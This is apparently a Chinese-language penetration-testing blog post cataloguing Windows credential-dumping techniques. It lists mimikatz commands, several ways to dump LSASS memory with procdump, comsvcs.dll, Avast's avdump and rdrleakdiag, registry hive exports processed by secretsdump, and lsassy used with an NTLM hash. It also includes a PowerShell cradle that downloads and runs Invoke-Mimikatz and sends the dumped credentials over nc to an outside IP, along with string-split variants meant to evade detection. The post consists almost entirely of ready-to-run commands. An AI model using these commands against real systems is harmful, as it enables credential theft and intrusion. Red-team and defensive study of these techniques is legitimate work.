Hash Dumping
ssooking Lv5

Hash Dumping

mimikatz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mimikatz.exe "privilege::debug" log "sekurlsa::logonpasswords full" exit
@echo off
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit > C:\programdata\log.txt

SSPLoader.exe C:\Users\XuanJian\Desktop\ssp\lsassDump.dll 注意需要用绝对路径!
C:\Users\Public\Videos\dump.bin
mimikatz.exe "sekurlsa::minidump dump.bin" log "sekurlsa::logonPasswords full" exit


使用方法如下:
privilege::debug
inject::process lsass.exe F:\tools\x64\sekurlsa.dll
@getLogonPasswords

//提升权限
privilege::debug
dllinject::process lsass.exe sekurlsa.dll
@getLogonPasswords

mimikatz.exe "privilege::debug" log "sekurlsa::logonpasswords full" exit

mimikatz # privilege::debug
mimikatz # sekurlsa::minidump C:\Users\John\Desktop\minidump_656.dmp

#从SAM转储凭
mimikatz # token::elevate
mimikatz # lsadump::sam

#注入mimikatz的ssp(mimilib.dll)窃取凭据
privilege::debug
misc:memssp

Invoke-Mimikatz

1
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" | nc -vv 192.168.3.28 1234

procdump

1
2
procdump.exe -accepteula -ma lsass.exe lsass.dmp
pypykatz lsa minidump lsass.dmp

comsvcs.dll

一个名为comsvcs.dll的DLL ,它在C:\Windows\System32每次崩溃时都会转储进程内存。该DLL包含一个称为的MiniDumpW函数,可以通过rundll32.exe调用,但只能SYSTEM权限执行

1
2
tasklist /fi "imagename eq lsass.exe"
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

executes mimikatz.xml

https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml

1
2
3
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\1.xml
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

From SAM

注册表导出Hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
reg save HKLM\SYSTEM system.hive
reg save HKLM\SAM sam.hive
reg save hklm\security security.hive
mimikatz.exe "lsadump::sam /system:system.hive /sam:sam.hive" exit


C:\temp> reg save HKLM\SYSTEM system.hive
C:\temp> reg save HKLM\SAM sam.hive
mimikatz # lsadump::sam /SYSTEM:system.hive /SAM:sam.hive


#使用kali中的samdump2来读取system和sam:
samdump2 system sam

#mimikatz 也可以导入sam和system
mimikatz # xx

avdump

1
2
3
tasklist /svc | findstr lsass.exe
C:\Program Files\Avast Software\Avast\avdump64.exe --pid 532 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\ProgramData\lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

metasploit

1
use windows/gather/avast_memory_dump

rdrleakdiag

鸣叫格热戈日Tworek(@ 0gtweet)

1
2
3
4
File Path: C:\Windows\system32\rdrleakdiag.exe
Description: Microsoft Windows Resource Leak Diagnostic

rdrleakdiag.exe /p <pid> /o <outputdir> /fullmemdmp /wait 1

此命令利用系统二进制rdrleakdiag.exe,该文件将转储其输入中提供了PID(进程ID)的进程的内存。成功执行该命令将导致创建两个文件,分别为minidump_656.dmp和results_656.hlk。[我们将使用扩展名为.dmp的文件]

DiskShadow

卷影复制

1
2
3
4
5
6
7
wmic shadowcopy call create volume='C:\'
vssadmin list shadows
copy xxx\Windows\system32\config\sam .
copy xxx\Windows\system32\config\security .
copy xxx\Windows\system32\config\system .
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
然后用得到的Hash去解密

pypykatz

Pypykatz通过项目Skelsec可以帮助我们解决这个问题。Skelsec用纯python开发了Mimikatz的部分实现,这意味着跨平台。像Mimikatz一样,此工具使我们可以提取lsass转储,并且此工具可以不用将转储文件下载到本地解密,而是直接在目标机器上提取。

远程分析转储文件

1
2
pypykatz lsa minidump lsass.dmp
pypykatz lsa minidump adsec.local/jsnow:Winter_is_coming_\!@DC01.adsec.local:/C$/Windows/Temp/lsass.dmp

secretsdump

impacket 中提供了secrestdump的脚本,该脚本可允许转储存储在注册表中的sam、SECURITY、SYSTEM中的所有凭据。

1
2
3
4
5
6
7
8
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive

secretsdump -sam sam.hive -security security.hive -system system.hive local

#kali
impacket-secretsdump -sam sam.hive -security security.hive -system system.hive LOCAL

sqldumper

1
2
3
tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID号
C:\Program Files\Microsoft SQL Server\number\Shared\sqldumper.exe ProcessID 0 0x01100 导出mdmp文件
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

rocdump

1
2
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

Windows Credential Editor (WCE)

https://attack.mitre.org/software/S0005

lsassy

https://github.com/Hackndo/lsassy/wiki/Lsassy-Advanced-Usage

远程dump

1
lsassy -d de1ay.com -u administrator -H 161cff084477fe596a5db81874498a24 192.168.100.19 -o C:\Users\Administrator\Desktop\test.txt

对于涉及凭证转储的特定操作,我们还可以在项目授权下使用secretsdump.py脚本。

除了以下类型的哈希外,还存在另一种哈希,即MsCacheV2(也称为域缓存凭据),它在Windows中引入,即使客户端计算机与域断开连接,也可以保持用户与域的连接,用户可以执行身份验证。在以NT AUTHORITY \ SYSTEM特权运行缓存的凭据密钥后,在注册表编辑器(regedit.msc)下运行后,我们可以在注册表位置(HKLM \ SECURITY \ Cache)下看到。

通过使用命令lsadump :: cache,我们可以轻松地转储这些哈希值。

1
mimikatz # lsadump::cache

mscash,或者叫 domain cached credentials、域缓存票据,与用户在成功登录后将缓存的域凭据存储在系统本地,缓存的凭据不会过期,以防止DC无法通信,任然能够登录机器,另外mscash hash 无法用于PTH。

具体存储在系统哪里,保存在注册表中,结构未域凭据+域授权信息,后面就直接用 “凭据” 来代表 “凭据信息” + “授权信息”。

Powershell

1
2
3
powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/ps/Invoke-Mimikatz.ps1'')); Invoke-Mimikatz';IEX ($a+$b)"

lsass.dmp

1
pypykatz lsa minidump lsass.dmp

Live kernel dump with PowerShell one-liner

https://twitter.com/0gtweet/status/1273264867382788096

1
2
$ss = Get-CimInstance -ClassName MSFT_StorageSubSystem -Namespace Root\Microsoft\Windows\Storage
Invoke-CimMethod -InputObject $ss -MethodName "GetDiagnosticInfo" -Arguments @{DestinationPath="C:\dmp"; IncludeLiveDump=$true}

https://gallery.technet.microsoft.com/scriptcenter/Get-MemoryDump-c5ab38d8

https://www.volatilityfoundation.org/releases

绕卡巴

https://www.freebuf.com/column/231880.html

Reference

  • Post title:Hash Dumping
  • Post author:ssooking
  • Create time:2020-01-25 13:19:00
  • Post link:https://ssooking.github.io/2020/01/hash-dumping/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.